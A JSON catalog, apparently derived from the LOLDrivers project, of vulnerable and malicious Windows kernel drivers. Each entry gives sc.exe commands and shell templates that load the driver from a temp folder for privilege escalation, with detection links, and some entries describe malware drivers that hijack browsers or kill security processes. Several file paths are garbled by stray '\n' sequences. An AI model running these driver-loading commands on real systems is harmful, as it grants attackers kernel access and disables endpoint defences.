    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create ni.sys binPath=C:\\windows\\temp \\n \\n \\n  i.sys type=kernel && sc.exe start ni.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-ni",
    "install": [
      {
        "method": "custom",
        "description": "Load ni.sys kernel driver",
        "commands": [
          "sc.exe create ni.sys binPath=C:\\windows\\temp \\n \\n \\n  i.sys type=kernel && sc.exe start ni.sys"
        ]
      }
    ],
    "name": "ni.sys",
    "namespace": "windows:kernel:ni",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NICM.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NICM.SYS type=kernel && sc.exe start NICM.SYS\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver NICM.SYS\"\n\n# NICM.SYS\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nicm.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create NICM.sys binPath=C:\\windows\\temp\\NICM.SYS type=kernel && sc.exe start NICM.SYS",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-nicm",
    "install": [
      {
        "method": "custom",
        "description": "Load NICM.SYS kernel driver",
        "commands": [
          "sc.exe create NICM.sys binPath=C:\\windows\\temp\\NICM.SYS type=kernel && sc.exe start NICM.SYS"
        ]
      }
    ],
    "name": "NICM.SYS",
    "namespace": "windows:kernel:nicm",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nipalk binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\nipalk.sys type=kernel && sc.exe start nipalk\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nipalk.sys\"\n\n# nipalk.sys\n\nnipalk.sys is the NI-PAL (Platform Abstraction Layer) core kernel driver that ships with every National Instruments product including NI-DAQmx, LabVIEW, and NI-VISA. The driver uses a single IOCTL gateway (0xABCD03C4) dispatching to a two-level service table. The device is created with IoCreateDevice (no DACL) and IRP_MJ_CREATE returns STATUS_SUCCESS unconditionally with zero caller validation. Exposes arbitrary physical memory read/write to usermode via ZwOpenSection on Device\\PhysicalMemory with SECTION_ALL_ACCESS and ZwMapViewOfSection with PAGE_READWRITE, kernel pages mapped to usermode via MmBuildMdlForNonPagedPool and MmMapLockedPagesSpecifyCache, VA-to-PA translation via MmGetPhysicalAddress, contiguous DMA allocation via MmAllocateContiguousMemorySpecifyCache, full bus read/write, and PCI configuration space access. CVE-2021-38304 covers a different vulnerability class (improper input validation in versions prior to 20.0.1f0) but the physical memory mapping primitives documented here go beyond that CVE scope. EV code signing certificate valid until July 2027.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nipalk.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "nipalk.sys is the NI-PAL (Platform Abstraction Layer) core kernel driver that ships with every National Instruments product including NI-DAQmx, LabVIEW, and NI-VISA. The driver uses a single IOCTL gateway (0xABCD03C4) dispatching to a two-level service table. The device is created with IoCreateDevice (no DACL) and IRP_MJ_CREATE returns STATUS_SUCCESS unconditionally with zero caller validation. Exposes arbitrary physical memory read/write to usermode via ZwOpenSection on Device\\PhysicalMemory...",
    "execution": {
      "template": "sc.exe create nipalk binPath=C:\\windows\\temp\\nipalk.sys type=kernel && sc.exe start nipalk",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-nipalk",
    "install": [
      {
        "method": "custom",
        "description": "Load nipalk.sys kernel driver",
        "commands": [
          "sc.exe create nipalk binPath=C:\\windows\\temp\\nipalk.sys type=kernel && sc.exe start nipalk"
        ]
      }
    ],
    "name": "nipalk.sys",
    "namespace": "windows:kernel:nipalk",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/303"
      },
      {
        "label": "Reference",
        "url": "https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/improper-input-validation-in-ni-pal.html"
      },
      {
        "label": "Reference",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38304"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NlsLexicons0024UvN.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NlsLexicons0024UvN.sys type=kernel && sc.exe start NlsLexicons0024UvN.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver NlsLexicons0024UvN.sys\"\n\n# NlsLexicons0024UvN.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021.\nRedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies.\nCode from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader.\nThe authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system.\nThis threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nlslexicons0024uvn.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create NlsLexicons0024UvN.sys binPath=C:\\windows\\temp\\NlsLexicons0024UvN.sys type=kernel && sc.exe start NlsLexicons0024UvN.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-nlslexicons0024uvn",
    "install": [
      {
        "method": "custom",
        "description": "Load NlsLexicons0024UvN.sys kernel driver",
        "commands": [
          "sc.exe create NlsLexicons0024UvN.sys binPath=C:\\windows\\temp\\NlsLexicons0024UvN.sys type=kernel && sc.exe start NlsLexicons0024UvN.sys"
        ]
      }
    ],
    "name": "NlsLexicons0024UvN.sys",
    "namespace": "windows:kernel:nlslexicons0024uvn",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NodeDriver.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NodeDriver.sys type=kernel && sc.exe start NodeDriver.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver NodeDriver.sys\"\n\n# NodeDriver.sys\n\nDriver categorized as POORTRY by Mandiant.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nodedriver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver categorized as POORTRY by Mandiant.",
    "execution": {
      "template": "sc.exe create NodeDriver.sys binPath=C:\\windows\\temp\\NodeDriver.sys type=kernel && sc.exe start NodeDriver.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "interactive",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-nodedriver",
    "install": [
      {
        "method": "custom",
        "description": "Load NodeDriver.sys kernel driver",
        "commands": [
          "sc.exe create NodeDriver.sys binPath=C:\\windows\\temp\\NodeDriver.sys type=kernel && sc.exe start NodeDriver.sys"
        ]
      }
    ],
    "name": "NodeDriver.sys",
    "namespace": "windows:kernel:nodedriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Novawave_Novabench_NovabenchDriverWin10 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Novawave_Novabench_NovabenchDriverWin10.sys type=kernel && sc.exe start Novawave_Novabench_NovabenchDriverWin10\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Novawave_Novabench_NovabenchDriverWin10.sys\"\n\n# Novawave_Novabench_NovabenchDriverWin10.sys\n\nNovawave_Novabench_NovabenchDriverWin10.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-novawave-novabench-novabenchdriverwin10.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Novawave_Novabench_NovabenchDriverWin10.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create Novawave_Novabench_NovabenchDriverWin10 binPath=C:\\windows\\temp\\Novawave_Novabench_NovabenchDriverWin10.sys type=kernel && sc.exe start Novawave_Novabench_NovabenchDriverWin10",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-novawave-novabench-novabenchdriverwin10",
    "install": [
      {
        "method": "custom",
        "description": "Load Novawave_Novabench_NovabenchDriverWin10.sys kernel driver",
        "commands": [
          "sc.exe create Novawave_Novabench_NovabenchDriverWin10 binPath=C:\\windows\\temp\\Novawave_Novabench_NovabenchDriverWin10.sys type=kernel && sc.exe start Novawave_Novabench_NovabenchDriverWin10"
        ]
      }
    ],
    "name": "Novawave_Novabench_NovabenchDriverWin10.sys",
    "namespace": "windows:kernel:novawave-novabench-novabenchdriverwin10",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NPR0 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NPR0.sys type=kernel && sc.exe start NPR0\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver NPR0.sys\"\n\n# NPR0.sys\n\nNPR0.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-npr0.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "NPR0.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create NPR0 binPath=C:\\windows\\temp\\NPR0.sys type=kernel && sc.exe start NPR0",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-npr0",
    "install": [
      {
        "method": "custom",
        "description": "Load NPR0.sys kernel driver",
        "commands": [
          "sc.exe create NPR0 binPath=C:\\windows\\temp\\NPR0.sys type=kernel && sc.exe start NPR0"
        ]
      }
    ],
    "name": "NPR0.sys",
    "namespace": "windows:kernel:npr0",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NQrmq.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NQrmq.sys type=kernel && sc.exe start NQrmq.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver NQrmq.sys\"\n\n# NQrmq.sys\n\nFound via RichPEHeaderHash pivoting.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nqrmq.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Found via RichPEHeaderHash pivoting.",
    "execution": {
      "template": "sc.exe create NQrmq.sys binPath=C:\\windows\\temp\\NQrmq.sys type=kernel && sc.exe start NQrmq.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-nqrmq",
    "install": [
      {
        "method": "custom",
        "description": "Load NQrmq.sys kernel driver",
        "commands": [
          "sc.exe create NQrmq.sys binPath=C:\\windows\\temp\\NQrmq.sys type=kernel && sc.exe start NQrmq.sys"
        ]
      }
    ],
    "name": "NQrmq.sys",
    "namespace": "windows:kernel:nqrmq",
    "platforms": [
      "windows"
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nscm.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  scm.sys type=kernel && sc.exe start nscm.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nscm.sys\"\n\n# nscm.sys\n\nnscm.sys is a vulnerable driver. CVE-2013-3956.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-nscm.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "nscm.sys is a vulnerable driver. CVE-2013-3956.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/76660e91f1ff3cb89630df5af4fe09de6098d09baa66b1a130c89c3c5edd5b22.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create nscm.sys binPath=C:\\windows\\temp \\n \\n \\n  scm.sys type=kernel && sc.exe start nscm.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-nscm",
    "install": [
      {
        "method": "custom",
        "description": "Load nscm.sys kernel driver",
        "commands": [
          "sc.exe create nscm.sys binPath=C:\\windows\\temp \\n \\n \\n  scm.sys type=kernel && sc.exe start nscm.sys"
        ]
      }
    ],
    "name": "nscm.sys",
    "namespace": "windows:kernel:nscm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/jbaines-r7/dellicious"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NSecKrnl binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NSecKrnl.sys type=kernel && sc.exe start NSecKrnl\"\n\n# NSecKrnl.sys\n\nDriver used by ValleyRAT malware to terminate security processes via IOCTL 0x2248E0\n\n**Use Case:** Terminate security processes\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nseckrnl.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used by ValleyRAT malware to terminate security processes via IOCTL 0x2248E0",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create NSecKrnl binPath=C:\\windows\\temp\\NSecKrnl.sys type=kernel && sc.exe start NSecKrnl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-nseckrnl",
    "install": [
      {
        "method": "custom",
        "description": "Load NSecKrnl.sys kernel driver",
        "commands": [
          "sc.exe create NSecKrnl binPath=C:\\windows\\temp\\NSecKrnl.sys type=kernel && sc.exe start NSecKrnl"
        ]
      }
    ],
    "name": "NSecKrnl.sys",
    "namespace": "windows:kernel:nseckrnl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nstr.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  str.sys type=kernel && sc.exe start nstr.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nstr.sys\"\n\n# nstr.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nstr.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create nstr.sys binPath=C:\\windows\\temp \\n \\n \\n  str.sys type=kernel && sc.exe start nstr.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-nstr",
    "install": [
      {
        "method": "custom",
        "description": "Load nstr.sys kernel driver",
        "commands": [
          "sc.exe create nstr.sys binPath=C:\\windows\\temp \\n \\n \\n  str.sys type=kernel && sc.exe start nstr.sys"
        ]
      }
    ],
    "name": "nstr.sys",
    "namespace": "windows:kernel:nstr",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nstrwsk.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  strwsk.sys type=kernel && sc.exe start nstrwsk.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nstrwsk.sys\"\n\n# nstrwsk.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nstrwsk.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create nstrwsk.sys binPath=C:\\windows\\temp \\n \\n \\n  strwsk.sys type=kernel && sc.exe start nstrwsk.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-nstrwsk",
    "install": [
      {
        "method": "custom",
        "description": "Load nstrwsk.sys kernel driver",
        "commands": [
          "sc.exe create nstrwsk.sys binPath=C:\\windows\\temp \\n \\n \\n  strwsk.sys type=kernel && sc.exe start nstrwsk.sys"
        ]
      }
    ],
    "name": "nstrwsk.sys",
    "namespace": "windows:kernel:nstrwsk",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nt2.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  t2.sys type=kernel && sc.exe start nt2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nt2.sys\"\n\n# nt2.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nt2.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create nt2.sys binPath=C:\\windows\\temp \\n \\n \\n  t2.sys type=kernel && sc.exe start nt2.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-nt2",
    "install": [
      {
        "method": "custom",
        "description": "Load nt2.sys kernel driver",
        "commands": [
          "sc.exe create nt2.sys binPath=C:\\windows\\temp \\n \\n \\n  t2.sys type=kernel && sc.exe start nt2.sys"
        ]
      }
    ],
    "name": "nt2.sys",
    "namespace": "windows:kernel:nt2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nt3.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  t3.sys type=kernel && sc.exe start nt3.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nt3.sys\"\n\n# nt3.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nt3.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create nt3.sys binPath=C:\\windows\\temp \\n \\n \\n  t3.sys type=kernel && sc.exe start nt3.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-nt3",
    "install": [
      {
        "method": "custom",
        "description": "Load nt3.sys kernel driver",
        "commands": [
          "sc.exe create nt3.sys binPath=C:\\windows\\temp \\n \\n \\n  t3.sys type=kernel && sc.exe start nt3.sys"
        ]
      }
    ],
    "name": "nt3.sys",
    "namespace": "windows:kernel:nt3",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nt4.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  t4.sys type=kernel && sc.exe start nt4.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nt4.sys\"\n\n# nt4.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nt4.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create nt4.sys binPath=C:\\windows\\temp \\n \\n \\n  t4.sys type=kernel && sc.exe start nt4.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-nt4",
    "install": [
      {
        "method": "custom",
        "description": "Load nt4.sys kernel driver",
        "commands": [
          "sc.exe create nt4.sys binPath=C:\\windows\\temp \\n \\n \\n  t4.sys type=kernel && sc.exe start nt4.sys"
        ]
      }
    ],
    "name": "nt4.sys",
    "namespace": "windows:kernel:nt4",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
